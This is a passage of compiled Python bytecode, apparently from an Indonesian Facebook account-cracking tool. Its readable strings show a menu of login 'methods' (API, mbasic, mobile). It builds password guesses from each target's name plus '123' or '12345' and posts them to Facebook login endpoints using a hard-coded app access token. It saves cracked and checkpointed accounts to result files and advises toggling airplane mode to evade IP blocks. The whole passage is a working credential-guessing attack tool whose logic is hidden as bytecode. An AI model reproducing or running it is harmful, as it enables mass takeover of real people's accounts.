apis\x1d\x00\x00\x00 [%s02%s] Methode With mbasics\x1d\x00\x00\x00 [%s03%s] Methode with mobiles\x15\x00\x00\x00%s [!] Ga ad di menu i\x02\x00\x00\x00(\x02\x00\x00\x00R\x8a\x00\x00\x00R\x8b\x00\x00\x00(\x02\x00\x00\x00R\x9a\x00\x00\x00R\x9b\x00\x00\x00(\x12\x00\x00\x00R6\x00\x00\x00R*\x00\x00\x00R_\x00\x00\x00R\x92\x00\x00\x00R"\x00\x00\x00RZ\x00\x00\x00Rt\x00\x00\x00RI\x00\x00\x00Rv\x00\x00\x00R&\x00\x00\x00R\x18\x00\x00\x00t\x04\x00\x00\x00TrueR5\x00\x00\x00t\x04\x00\x00\x00NoneR7\x00\x00\x00R\x8e\x00\x00\x00t\x08\x00\x00\x00langsungR\x15\x00\x00\x00(\x03\x00\x00\x00R\x88\x00\x00\x00t\x07\x00\x00\x00unikerst\x03\x00\x00\x00pwx(\x00\x00\x00\x00(\x02\x00\x00\x00R\x88\x00\x00\x00R\x8d\x00\x00\x00s\t\x00\x00\x00Sumarr IDt\x05\x00\x00\x00romiy#\x01\x00\x00sB\x00\x00\x00\x00\x01\x03\x01\x19\x01\x1e\x01%\x01\x03\x01\t\x01\x17\x00\x0b\x01\x16\x01\x0c\x01\x18\x01\t\x01\x16\x01\x0c\x01\x0c\x01\x12\x01\x0c\x02\x15\'\x05\x01\x0f\x01\x0f\x01\x0f\x01\x13\x01\x08\x01\x0c\x01\x05\x01\x0f\x01\x0f\x01\x0f\x01\r\x02\t\x00\n\x00c\x01\x00\x00\x00\x08\x00\x00\x00\n\x00\x00\x00C\x00\x00\x00s/\x05\x00\x00t\x00\x00d\x01\x00t\x01\x00t\x02\x00f\x02\x00\x16\x83\x01\x00}\x01\x00|\x01\x00d\x02\x00k\x02\x00r8\x00d\x03\x00t\x03\x00\x16GH|\x00\x00j\x04\x00\x83\x00\x00\x01n\xf3\x04|\x01\x00d\x1d\x00k\x06\x00r\xd8\x01d\x06\x00GHd\x07\x00t\x05\x00t\x05\x00t\x05\x00t\x05\x00t\x05\x00t\x05\x00t\x06\x00t\x07\x00t\x08\x00f\t\x00\x16GHt\t\x00d\x08\x00\x83\x01\x00\x01d\t\x00t\x02\x00t\x02\x00t\x02\x00t\x02\x00t\x02\x00t\x02\x00t\x06\x00t\x07\x00t\x08\x00f\t\x00\x16GHt\t\x00d\x08\x00\x83\x01\x00\x01d\n\x00t\x01\x00t\n\x00t\x01\x00f\x03\x00\x16GHt\t\x00d\x08\x00\x83\x01\x00\x01t\x0b\x00d\x0b\x00d\x0c\x00\x83\x00\x01\x8f\xec\x00}\x02\x00x\xe2\x00|\x00\x00j\x0c\x00D]\xd7\x00}\x03\x00y\xc7\x00|\x03\x00j\r\x00d\r\x00\x83\x01\x00\\\x02\x00}\x04\x00}\x05\x00|\x05\x00j\r\x00d\x0e\x00\x83\x01\x00}\x06\x00t\x0e\x00|\x06\x00\x83\x01\x00d\x0f\x00k\x02\x00sR\x01t\x0e\x00|\x06\x00\x83\x01\x00d\x10\x00k\x02\x00sR\x01t\x0e\x00|\x06\x00\x83\x01\x00d\x11\x00k\x02\x00sR\x01t\x0e\x00|\x06\x00\x83\x01\x00d\x12\x00k\x02\x00rt\x01|\x05\x00|\x06\x00d\x13\x00\x19d\x14\x00\x17|\x06\x00d\x13\x00\x19d\x15\x00\x17g\x03\x00}\x07\x00n\x1f\x00|\x05\x00|\x06\x00d\x13\x00\x19d\x14\x00\x17|\x06\x00d\x13\x00\x19d\x15\x00\x17g\x03\x00}\x07\x00|\x02\x00j\x0f\x00|\x00\x00j\x10\x00|\x04\x00|\x07\x00\x83\x03\x00\x01Wq\xdd\x00\x01\x01\x01q\xdd\x00Xq\xdd\x00WWd\x00\x00QXt\x11\x00j\x12\x00|\x00\x00j\x13\x00\x83\x01\x00\x01t\x14\x00\x83\x00\x00\x01nS\x03|\x01\x00d\x1e\x00k\x06\x00rx\x03d\x06\x00GHd\x18\x00t\x05\x00t\x05\x00t\x05\x00t\x05\x00t\x05\x00t\x05\x00t\x06\x00t\x07\x00t\x08\x00f\t\x00\x16GHt\t\x00d\x08\x00\x83\x01\x00\x01d\t\x00t\x02\x00t\x02\x00t\x02\x00t\x02\x00t\x02\x00t\x02\x00t\x06\x00t\x07\x00t\x08\x00f\t\x00\x16GHt\t\x00d\x08\x00\x83\x01\x00\x01d\n\x00t\x01\x00t\n\x00t\x01\x00f\x03\x00\x16GHt\t\x00d\x08\x00\x83\x01\x00\x01t\x0b\x00d\x0b\x00d\x0c\x00\x83\x00\x01\x8f\xec\x00}\x02\x00x\xe2\x00|\x00\x00j\x0c\x00D]\xd7\x00}\x03\x00y\xc7\x00|\x03\x00j\r\x00d\r\x00\x83\x01\x00\\\x02\x00}\x04\x00}\x05\x00|\x05\x00j\r\x00d\x0e\x00\x83\x01\x00}\x06\x00t\x0e\x00|\x06\x00\x83\x01\x00d\x0f\x00k\x02\x00s\xf2\x02t\x0e\x00|\x06\x00\x83\x01\x00d\x10\x00k\x02\x00s\xf2\x02t\x0e\x00|\x06\x00\x83\x01\x00d\x11\x00k\x02\x00s\xf2\x02t\x0e\x00|\x06\x00\x83\x01\x00d\x12\x00k\x02\x00r\x14\x03|\x05\x00|\x06\x00d\x13\x00\x19d\x14\x00\x17|\x06\x00d\x13\x00\x19d\x15\x00\x17g\x03\x00}\x07\x00n\x1f\x00|\x05\x00|\x06\x00d\x13\x00\x19d\x14\x00\x17|\x06\x00d\x13\x00\x19d\x15\x00\x17g\x03\x00}\x07\x00|\x02\x00j\x0f\x00|\x00\x00j\x15\x00|\x04\x00|\x07\x00\x83\x03\x00\x01Wq}\x02\x01\x01\x01q}\x02Xq}\x02WWd\x00\x00QXt\x11\x00j\x12\x00|\x00\x00j\x13\x00\x83\x01\x00\x01t\x14\x00\x83\x00\x00\x01n\xb3\x01|\x01\x00d\x1f\x00k\x06\x00r\x18\x05d\x1b\x00GHd\x07\x00t\x05\x00t\x05\x00t\x05\x00t\x05\x00t\x05\x00t\x05\x00t\x06\x00t\x07\x00t\x08\x00f\t\x00\x16GHt\t\x00d\x08\x00\x83\x01\x00\x01d\t\x00t\x02\x00t\x02\x00t\x02\x00t\x02\x00t\x02\x00t\x02\x00t\x06\x00t\x07\x00t\x08\x00f\t\x00\x16GHt\t\x00d\x08\x00\x83\x01\x00\x01d\n\x00t\x01\x00t\n\x00t\x01\x00f\x03\x00\x16GHt\t\x00d\x08\x00\x83\x01\x00\x01t\x0b\x00d\x0b\x00d\x0c\x00\x83\x00\x01\x8f\xec\x00}\x02\x00x\xe2\x00|\x00\x00j\x0c\x00D]\xd7\x00}\x03\x00y\xc7\x00|\x03\x00j\r\x00d\r\x00\x83\x01\x00\\\x02\x00}\x04\x00}\x05\x00|\x05\x00j\r\x00d\x0e\x00\x83\x01\x00}\x06\x00t\x0e\x00|\x06\x00\x83\x01\x00d\x0f\x00k\x02\x00s\x92\x04t\x0e\x00|\x06\x00\x83\x01\x00d\x10\x00k\x02\x00s\x92\x04t\x0e\x00|\x06\x00\x83\x01\x00d\x11\x00k\x02\x00s\x92\x04t\x0e\x00|\x06\x00\x83\x01\x00d\x12\x00k\x02\x00r\xb4\x04|\x05\x00|\x06\x00d\x13\x00\x19d\x14\x00\x17|\x06\x00d\x13\x00\x19d\x15\x00\x17g\x03\x00}\x07\x00n\x1f\x00|\x05\x00|\x06\x00d\x13\x00\x19d\x14\x00\x17|\x06\x00d\x13\x00\x19d\x15\x00\x17g\x03\x00}\x07\x00|\x02\x00j\x0f\x00|\x00\x00j\x16\x00|\x04\x00|\x07\x00\x83\x03\x00\x01Wq\x1d\x04\x01\x01\x01q\x1d\x04Xq\x1d\x04WWd\x00\x00QXt\x11\x00j\x12\x00|\x00\x00j\x13\x00\x83\x01\x00\x01t\x14\x00\x83\x00\x00\x01n\x13\x00d\x1c\x00t\x03\x00\x16GH|\x00\x00j\x04\x00\x83\x00\x00\x01d\x00\x00S( \x00\x00\x00Ns\x14\x00\x00\x00\n %s[?] methode :%s R\x06\x00\x00\x00s\x15\x00\x00\x00%s [!] Ga ada di menuR.\x00\x00\x00R/\x00\x00\x00RC\x00\x00\x00s>\x00\x00\x00\n %s[%s*%s] akun %sOK%s tersimpan di >%s hasil/OK-%s-%s-%s.txtg\x9a\x99\x99\x99\x99\x99\xc9?s=\x00\x00\x00%s [%s*%s] akun %sCP %stersimpan di > %shasil/CP-%s-%s-%s.txts<\x00\x00\x00%s [%s!%s] setiap crack 2k ID, gunakan mode pesawat 2 detik\nR\x8c\x00\x00\x00i\x1e\x00\x00\x00s\x03\x00\x00\x00<=>Ro\x00\x00\x00i\x03\x00\x00\x00i\x04\x00\x00\x00i\x05\x00\x00\x00i\x06\x00\x00\x00i\x00\x00\x00\x00t\x03\x00\x00\x00123t\x05\x00\x00\x0012345R1\x00\x00\x00R2\x00\x00\x00s>\x00\x00\x00\n%s [%s*%s] akun %sOK%s tersimpan di >%s hasil/OK-%s-%s-%s.txtRJ\x00\x00\x00RK\x00\x00\x00s\x02\x00\x00\x00\t\ts\x1e\x00\x00\x00\n%s [!] Isi yang benar kentod (\x02\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00(\x02\x00\x00\x00R1\x00\x00\x00R2\x00\x00\x00(\x02\x00\x00\x00RJ\x00\x00\x00RK\x00\x00\x00(\x17\x00\x00\x00R6\x00\x00\x00R*\x00\x00\x00R7\x00\x00\x00R5\x00\x00\x00R\x9e\x00\x00\x00R\x18\x00\x00\x00Rq\x00\x00\x00Rr\x00\x00\x00Rs\x00\x00\x00R\x15\x00\x00\x00R_\x00\x00\x00R\x00\x00\x00\x00RI\x00\x00\x00R\x8e\x00\x00\x00Rv\x00\x00\x00R\x8f\x00\x00\x00R\x90\x00\x00\x00R \x00\x00\x00R\x91\x00\x00\x00R\x92\x00\x00\x00R8\x00\x00\x00R\x93\x00\x00\x00R\x94\x00\x00\x00(\x08\x00\x00\x00R\x88\x00\x00\x00t\x04\x00\x00\x00suuuR\x97\x00\x00\x00R{\x00\x00\x00t\x03\x00\x00\x00uidR0\x00\x00\x00t\x03\x00\x00\x00_i_R\xa0\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDR\x9e\x00\x00\x00j\x01\x00\x00s\x8a\x00\x00\x00\x00\x01\x16\x01\x0c\x01\t\x00\r\x01\x0c\x01\x05\x01$\x00\n\x01$\x00\n\x01\x12\x00\n\x01\x12\x01\x10\x01\x03\x01\x15\x01\x0f\x01H\x01"\x02\x1f\x01\x1a\x01\x03\x00\x0e\x01\x10\x00\n\x01\x0c\x01\x05\x01$\x00\n\x01$\x00\n\x01\x12\x00\n\x01\x12\x01\x10\x01\x03\x01\x15\x01\x0f\x01H\x01"\x02\x1f\x01\x1a\x01\x03\x00\x0e\x01\x10\x00\n\x01\x0c\x01\x05\x01$\x00\n\x01$\x00\n\x01\x12\x00\n\x01\x12\x01\x10\x01\x03\x01\x15\x01\x0f\x01H\x01"\x02\x1f\x01\x1a\x01\x03\x00\x0e\x01\x10\x00\n\x02\t\x00c\x03\x00\x00\x00\x0f\x00\x00\x00\x08\x00\x00\x00C\x00\x00\x00s\xa3\x03\x00\x00y\x19\x00t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00}\x03\x00Wn\x17\x00\x04t\x02\x00k\n\x00r2\x00\x01\x01\x01d\x03\x00}\x03\x00n\x01\x00Xx\x14\x03|\x02\x00D]\x0c\x03}\x04\x00|\x04\x00j\x03\x00\x83\x00\x00}\x04\x00t\x04\x00j\x05\x00\x83\x00\x00}\x05\x00i\x08\x00|\x03\x00d\x04\x006t\x06\x00t\x07\x00j\x08\x00d\x05\x00d\x06\x00\x83\x02\x00\x83\x01\x00d\x07\x006t\x06\x00t\x07\x00j\x08\x00d\x05\x00d\x06\x00\x83\x02\x00\x83\x01\x00d\x08\x006t\x06\x00t\x07\x00j\x08\x00d\x05\x00d\x06\x00\x83\x02\x00\x83\x01\x00d\t\x006d\n\x00d\x0b\x006d\x0c\x00d\r\x006d\x0e\x00d\x0f\x006d\x10\x00d\x11\x006}\x06\x00d\x12\x00}\x07\x00|\x05\x00j\t\x00|\x07\x00d\x13\x00\x17|\x01\x00\x17d\x14\x00\x17|\x04\x00\x17d\x15\x00\x17d\x16\x00|\x06\x00\x83\x01\x01}\x08\x00|\x08\x00j\n\x00d\x17\x00k\x03\x00r8\x01t\x0b\x00d\x18\x007a\x0b\x00d\x19\x00Gt\x0c\x00j\r\x00j\x0e\x00\x83\x00\x00\x01t\x0f\x00|\x00\x00|\x01\x00|\x02\x00\x83\x03\x00\x01n\x00\x00d\x1a\x00|\x08\x00j\x10\x00k\x06\x00r\xda\x01d\x1b\x00|\x08\x00j\x10\x00k\x06\x00r\xda\x01d\x1c\x00t\x11\x00|\x01\x00|\x04\x00|\x08\x00j\x12\x00\x83\x00\x00d\x1d\x00\x19f\x04\x00\x16GHt\x13\x00j\x14\x00d\x1e\x00|\x01\x00|\x04\x00|\x08\x00j\x12\x00\x83\x00\x00d\x1d\x00\x19f\x03\x00\x16\x83\x01\x00\x01t\x00\x00d\x1f\x00t\x15\x00t\x16\x00t\x17\x00f\x03\x00\x16d \x00\x83\x02\x00j\x18\x00d!\x00|\x01\x00|\x04\x00|\x08\x00j\x12\x00\x83\x00\x00d\x1d\x00\x19f\x03\x00\x16\x83\x01\x00\x01Pq:\x00q:\x00d"\x00|\x08\x00j\x12\x00\x83\x00\x00d#\x00\x19k\x06\x00r:\x00y\xcd\x00t\x00\x00d$\x00\x83\x01\x00j\x01\x00\x83\x00\x00}\t\x00t\x04\x00j\t\x00d%\x00|\x01\x00|\t\x00f\x02\x00\x16\x83\x01\x00j\x12\x00\x83\x00\x00d&\x00\x19}\n\x00|\n\x00j\x19\x00d\'\x00\x83\x01\x00\\\x03\x00}\x0b\x00}\x0c\x00}\r\x00t\x1a\x00|\x0b\x00\x19}\x0b\x00d(\x00t\x1b\x00|\x01\x00|\x04\x00|\x0c\x00|\x0b\x00|\r\x00f\x06\x00\x16GHt\x1c\x00j\x14\x00d)\x00|\x01\x00|\x04\x00|\x0c\x00|\x0b\x00|\r\x00f\x05\x00\x16\x83\x01\x00\x01t\x00\x00d\x1f\x00t\x15\x00t\x16\x00t\x17\x00f\x03\x00\x16d \x00\x83\x02\x00j\x18\x00d*\x00|\x01\x00|\x04\x00|\x0c\x00|\x0b\x00|\r\x00f\x05\x00\x16\x83\x01\x00\x01PWn)\x00\x04t\x1d\x00k\n\x00r\xe2\x02\x01\x01\x01d+\x00}\x0c\x00d+\x00}\x0b\x00d+\x00}\r\x00n\x07\x00\x01\x01\x01n\x01\x00Xd,\x00t\x1b\x00|\x01\x00|\x04\x00f\x03\x00\x16GHt\x1c\x00j\x14\x00d-\x00|\x01\x00|\x04\x00f\x02\x00\x16\x83\x01\x00\x01t\x00\x00d\x1f\x00t\x15\x00t\x16\x00t\x17\x00f\x03\x00\x16d \x00\x83\x02\x00j\x18\x00d.\x00|\x01\x00|\x04\x00f\x02\x00\x16\x83\x01\x00\x01Pq:\x00q:\x00q:\x00Wt\x0b\x00d\x18\x007a\x0b\x00t\x07\x00j\x1e\x00d/\x00g\x01\x00\x83\x01\x00}\x0e\x00d0\x00|\x0e\x00t\x0b\x00t\x1f\x00|\x00\x00j \x00\x83\x01\x00t\x1f\x00t\x13\x00\x83\x01\x00t\x1f\x00t\x1c\x00\x83\x01\x00f\x05\x00\x16Gt\x0c\x00j\r\x00j\x0e\x00\x83\x00\x00\x01d\x00\x00S(1\x00\x00\x00Ns\x0b\x00\x00\x00data/ua.txtRF\x00\x00\x00s\x7f\x00\x00\x00Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1s\n\x00\x00\x00user-agenti N\x00\x00i@\x9c\x00\x00s\x19\x00\x00\x00x-fb-connection-bandwidths\x0c\x00\x00\x00x-fb-sim-hnis\x0c\x00\x00\x00x-fb-net-hniR,\x00\x00\x00s\x17\x00\x00\x00x-fb-connection-qualitys!\x00\x00\x00cell.CTRadioAccessTechnologyHSDPAs\x14\x00\x00\x00x-fb-connection-types!\x00\x00\x00application/x-www-form-urlencodeds\x0c\x00\x00\x00content-typeR-\x00\x00\x00s\x10\x00\x00\x00x-fb-http-engines,\x00\x00\x00https://b-api.facebook.com/method/auth.logins\x13\x00\x00\x00?format=json&email=s\n\x00\x00\x00&password=s\xae\x01\x00\x00&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20&currently_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=trueRG\x00\x00\x00i\xc8\x00\x00\x00i\x01\x00\x00\x00s8\x00\x00\x00\r\x1b[0;91m [!] IP terblokir. hidupkan mode pesawat 2 detikt\x0b\x00\x00\x00session_keyt\x04\x00\x00\x00EAAAs\x1f\x00\x00\x00\r %s[KOK IJO] %s \xe2\x97\x8a %s \xe2\x97\x8a %s t\x0c\x00\x00\x00access_tokens\x10\x00\x00\x00%s \xe2\x97\x8a %s \xe2\x97\x8a %ss\x15\x00\x00\x00hasil/CP-%s-%s-%s.txtRi\x00\x00\x00s\x17\x00\x00\x00 *--> %s \xe2\x97\x8a %s \xe2\x97\x8a %s\ns\x10\x00\x00\x00www.facebook.comt\t\x00\x00\x00error_msgs\t\x00\x00\x00token.txts-\x00\x00\x00https://graph.facebook.com/%s?access_token=%sRH\x00\x00\x00t\x01\x00\x00\x00/s \x00\x00\x00\r %s\xe2\x80\xa2 %s \xe2\x97\x8a %s \xe2\x97\x8a %s %s %s s\x16\x00\x00\x00%s \xe2\x97\x8a %s \xe2\x97\x8a %s %s %ss\x1d\x00\x00\x00 *--> %s \xe2\x97\x8a %s \xe2\x97\x8a %s %s %s\nR\x06\x00\x00\x00s\x1c\x00\x00\x00\r %s\xe2\x80\xa2 %s \xe2\x97\x8a %s s\t\x00\x00\x00%s \xe2\x97\x8a %ss\x10\x00\x00\x00 *--> %s \xe2\x97\x8a %s\ns\x07\x00\x00\x00\x1b[30;1ms\x1f\x00\x00\x00\r %s\xe2\x80\xa2 %s/%s [OK-:%s]-[CP-:%s](!\x00\x00\x00R"\x00\x00\x00RZ\x00\x00\x00R=\x00\x00\x00t\x05\x00\x00\x00lowerR9\x00\x00\x00t\x07\x00\x00\x00SessionR\x10\x00\x00\x00t\x06\x00\x00\x00randomt\x07\x00\x00\x00randintR:\x00\x00\x00t\x0b\x00\x00\x00status_codet\x04\x00\x00\x00loopR\x11\x00\x00\x00R\x12\x00\x00\x00R\x14\x00\x00\x00R\x90\x00\x00\x00R\\\x00\x00\x00R\x18\x00\x00\x00R;\x00\x00\x00t\x02\x00\x00\x00okt\x06\x00\x00\x00appendRq\x00\x00\x00Rr\x00\x00\x00Rs\x00\x00\x00R\x13\x00\x00\x00R\x8e\x00\x00\x00t\x06\x00\x00\x00bulan1R_\x00\x00\x00t\x02\x00\x00\x00cpR<\x00\x00\x00t\x06\x00\x00\x00choiceRv\x00\x00\x00RI\x00\x00\x00(\x0f\x00\x00\x00R\x88\x00\x00\x00t\x04\x00\x00\x00userR\x8d\x00\x00\x00R\x85\x00\x00\x00t\x02\x00\x00\x00pwt\x03\x00\x00\x00sesR[\x00\x00\x00t\x04\x00\x00\x00bapit\x08\x00\x00\x00responseRA\x00\x00\x00t\x05\x00\x00\x00lahirt\x05\x00\x00\x00montht\x03\x00\x00\x00dayt\x04\x00\x00\x00yeart\x02\x00\x00\x00rm(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDR\x90\x00\x00\x00\xa3\x01\x00\x00sj\x00\x00\x00\x00\x01\x03\x01\x19\x01\r\x01\n\x02\r\x01\x0c\x01\x0c\x01\n\x01\x19\x01\x19\x01\x19\x01\x07\x01\x07\x01\x07\x01\n\x01\x06\x01)\x01\x0f\x01\n\x01\x04\x01\r\x01\x13\x01\x1e\x01\x1f\x01$\x01:\x01\x01\x01\x06\x01\x16\x01\x03\x01\x12\x01#\x01\x18\x01\n\x01\x1b\x01 \x016\x01\x05\x01\r\x01\x06\x01\x06\x01\t\x01\x03\x00\x04\x01\x12\x01\x17\x01-\x01\x01\x01\n\x01\n\x01\x12\x01,\x01c\x03\x00\x00\x00\x15\x00\x00\x00\x08\x00\x00\x00C\x00\x00\x00s\xb2\x04\x00\x00y\x19\x00t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00}\x03\x00Wn\x17\x00\x04t\x02\x00k\n\x00r2\x00\x01\x01\x01d\x03\x00}\x03\x00n\x01\x00Xx#\x04|\x02\x00D]\x1b\x04}\x04\x00|\x04\x00j\x03\x00\x83\x00\x00}\x04\x00t\x04\x00j\x05\x00\x83\x00\x00}\x05\x00|\x05\x00j\x06\x00j\x07\x00i\x07\x00d\x04\x00d\x05\x006d\x06\x00d\x07\x006d\x08\x00d\t\x006|\x03\x00d\n\x006d\x0b\x00d\x0c\x006d\r\x00d\x0e\x006d\x0f\x00d\x10\x006\x83\x01\x00\x01|\x05\x00j\x08\x00d\x11\x00\x83\x01\x00}\x06\x00t\t\x00j\n\x00|\x06\x00j\x0b\x00d\x12\x00\x83\x02\x00}\x07\x00d\x13\x00j\x0c\x00t\t\x00j\r\x00j\x0e\x00d\x14\x00|\x06\x00j\x0b\x00\x83\x02\x00\x83\x01\x00}\x08\x00i\x00\x00}\t\x00x\xc7\x00|\x07\x00d\x15\x00\x83\x01\x00D]\xb9\x00}\n\x00|\n\x00j\x08\x00d\x16\x00\x83\x01\x00d\x00\x00k\x08\x00r\x84\x01|\n\x00j\x08\x00d\x17\x00\x83\x01\x00d\x18\x00k\x02\x00r8\x01|\t\x00j\x07\x00i\x01\x00|\x01\x00d\x18\x006\x83\x01\x00\x01q\xaa\x01|\n\x00j\x08\x00d\x17\x00\x83\x01\x00d\x19\x00k\x02\x00rd\x01|\t\x00j\x07\x00i\x01\x00|\x04\x00d\x19\x006\x83\x01\x00\x01q\xaa\x01|\t\x00j\x07\x00i\x01\x00d\x13\x00|\n\x00j\x08\x00d\x17\x00\x83\x01\x006\x83\x01\x00\x01q\xf1\x00|\t\x00j\x07\x00i\x01\x00|\n\x00j\x08\x00d\x16\x00\x83\x01\x00|\n\x00j\x08\x00d\x17\x00\x83\x01\x006\x83\x01\x00\x01q\xf1\x00W|\t\x00j\x07\x00i\x08\x00|\x08\x00d\x1a\x006d\x13\x00d\x1b\x006d\x1c\x00d\x1d\x006d\x1e\x00d\x1f\x006d\x13\x00d \x006d\x13\x00d!\x006d\x13\x00d"\x006d\x13\x00d#\x006\x83\x01\x00\x01|\x05\x00j\x06\x00j\x07\x00i\x01\x00d$\x00d%\x006\x83\x01\x00\x01|\x05\x00j\x10\x00d&\x00d\'\x00|\t\x00\x83\x01\x01j\x0b\x00}\x0b\x00d(\x00|\x05\x00j\x11\x00j\x12\x00\x83\x00\x00j\x13\x00\x83\x00\x00k\x06\x00r\xe4\x02d)\x00j\x0c\x00g\x00\x00|\x05\x00j\x11\x00j\x12\x00\x83\x00\x00j\x14\x00\x83\x00\x00D]\x1c\x00\\\x02\x00}\x0c\x00}\r\x00d*\x00|\x0c\x00|\r\x00f\x02\x00\x16^\x02\x00qY\x02\x83\x01\x00}\x0e\x00d+\x00t\x15\x00|\x01\x00|\x04\x00|\x0e\x00f\x04\x00\x16GHt\x16\x00j\x17\x00d,\x00|\x01\x00|\x04\x00|\x0e\x00f\x03\x00\x16\x83\x01\x00\x01t\x00\x00d-\x00t\x18\x00t\x19\x00t\x1a\x00f\x03\x00\x16d.\x00\x83\x02\x00j\x1b\x00d/\x00|\x01\x00|\x04\x00|\x0e\x00f\x03\x00\x16\x83\x01\x00\x01Pq:\x00q:\x00d0\x00|\x05\x00j\x11\x00j\x12\x00\x83\x00\x00j\x13\x00\x83\x00\x00k\x06\x00r:\x00y\xcd\x00t\x00\x00d1\x00\x83\x01\x00j\x01\x00\x83\x00\x00}\x0f\x00t\x04\x00j\x08\x00d2\x00|\x01\x00|\x0f\x00f\x02\x00\x16\x83\x01\x00j\x1c\x00\x83\x00\x00d3\x00\x19}\x10\x00|\x10\x00j\x1d\x00d4\x00\x83\x01\x00\\\x03\x00}\x11\x00}\x12\x00}\x13\x00t\x1e\x00|\x11\x00\x19}\x11\x00d5\x00t\x1f\x00|\x01\x00|\x04\x00|\x12\x00|\x11\x00|\x13\x00f\x06\x00\x16GHt \x00j\x17\x00d6\x00|\x01\x00|\x04\x00|\x12\x00|\x11\x00|\x13\x00f\x05\x00\x16\x83\x01\x00\x01t\x00\x00d-\x00t\x18\x00t\x19\x00t\x1a\x00f\x03\x00\x16d.\x00\x83\x02\x00j\x1b\x00d7\x00|\x01\x00|\x04\x00|\x12\x00|\x11\x00|\x13\x00f\x05\x00\x16\x83\x01\x00\x01PWn)\x00\x04t!\x00k\n\x00r\xf1\x03\x01\x01\x01d\x13\x00}\x12\x00d\x13\x00}\x11\x00d\x13\x00}\x13\x00n\x07\x00\x01\x01\x01n\x01\x00Xd8\x00t\x1f\x00|\x01\x00|\x04\x00f\x03\x00\x16GHt \x00j\x17\x00d9\x00|\x01\x00|\x04\x00f\x02\x00\x16\x83\x01\x00\x01t\x00\x00d-\x00t\x18\x00t\x19\x00t\x1a\x00f\x03\x00\x16d.\x00\x83\x02\x00j\x1b\x00d:\x00|\x01\x00|\x04\x00f\x02\x00\x16\x83\x01\x00\x01Pq:\x00q:\x00q:\x00Wt"\x00d;\x007a"\x00t#\x00j$\x00d<\x00g\x01\x00\x83\x01\x00}\x14\x00d=\x00|\x14\x00t"\x00t%\x00|\x00\x00j&\x00\x83\x01\x00t%\x00t\x16\x00\x83\x01\x00t%\x00t \x00\x83\x01\x00f\x05\x00\x16Gt\'\x00j(\x00j)\x00\x83\x00\x00\x01d\x00\x00S(>\x00\x00\x00Ns\x0b\x00\x00\x00data/ua.txtRF\x00\x00\x00s\x7f\x00\x00\x00Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1s\x13\x00\x00\x00mbasic.facebook.comt\x04\x00\x00\x00Hosts\t\x00\x00\x00max-age=0s\r\x00\x00\x00cache-controlR.\x00\x00\x00s\x19\x00\x00\x00upgrade-insecure-requestss\n\x00\x00\x00user-agentsU\x00\x00\x00text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8t\x06\x00\x00\x00accepts\r\x00\x00\x00gzip, deflates\x0f\x00\x00\x00accept-encodings#\x00\x00\x00id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7s\x0f\x00\x00\x00accept-languages\x1b\x00\x00\x00https://mbasic.facebook.coms\x0b\x00\x00\x00html.parserR\x06\x00\x00\x00s\x17\x00\x00\x00dtsg":\\{"token":"(.*?)"t\x05\x00\x00\x00inputt\x05\x00\x00\x00valueR0\x00\x00\x00t\x05\x00\x00\x00emailt\x04\x00\x00\x00passt\x07\x00\x00\x00fb_dtsgt\x06\x00\x00\x00m_sessR3\x00\x00\x00t\x06\x00\x00\x00__usert\x01\x00\x00\x00dt\x05\x00\x00\x00__reqt\x05\x00\x00\x00__csrt\x03\x00\x00\x00__at\x05\x00\x00\x00__dynt\x07\x00\x00\x00encpasss:\x00\x00\x00https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8t\x07\x00\x00\x00referers\x83\x00\x00\x00https://mbasic.facebook.com/login/device-based/login/async/?refsrc=https%3A%2F%2Fmbasic.facebook.com%2Flogin%2F%3Fref%3Ddbl&lwv=100R\x1e\x00\x00\x00t\x06\x00\x00\x00c_usert\x01\x00\x00\x00;s\x05\x00\x00\x00%s=%ss\x1a\x00\x00\x00\r %s\xe2\x80\xa2 %s \xe2\x97\x8a %s \xe2\x97\x8a %s s\x10\x00\x00\x00%s \xe2\x97\x8a %s \xe2\x97\x8a %ss\x15\x00\x00\x00hasil/CP-%s-%s-%s.txtRi\x00\x00\x00s\x17\x00\x00\x00 *--> %s \xe2\x97\x8a %s \xe2\x97\x8a %s\nt\n\x00\x00\x00checkpoints\t\x00\x00\x00token.txts-\x00\x00\x00https://graph.facebook.com/%s?access_token=%sRH\x00\x00\x00R\xab\x00\x00\x00s\x1f\x00\x00\x00\r %s\xe2\x80\xa2 %s \xe2\x97\x8a %s \xe2\x97\x8a %s %s %s s\x16\x00\x00\x00%s \xe2\x97\x8a %s \xe2\x97\x8a %s %s %ss\x1d\x00\x00\x00 *--> %s \xe2\x97\x8a %s \xe2\x97\x8a %s %s %s\ns\x1d\x00\x00\x00\r %s\xe2\x80\xa2 %s \xe2\x97\x8a %s s\t\x00\x00\x00%s \xe2\x97\x8a %ss\x10\x00\x00\x00 *--> %s \xe2\x97\x8a %s\ni\x01\x00\x00\x00s\x07\x00\x00\x00\x1b[30;1ms\x1f\x00\x00\x00\r %s\xe2\x80\xa2 %s/%s 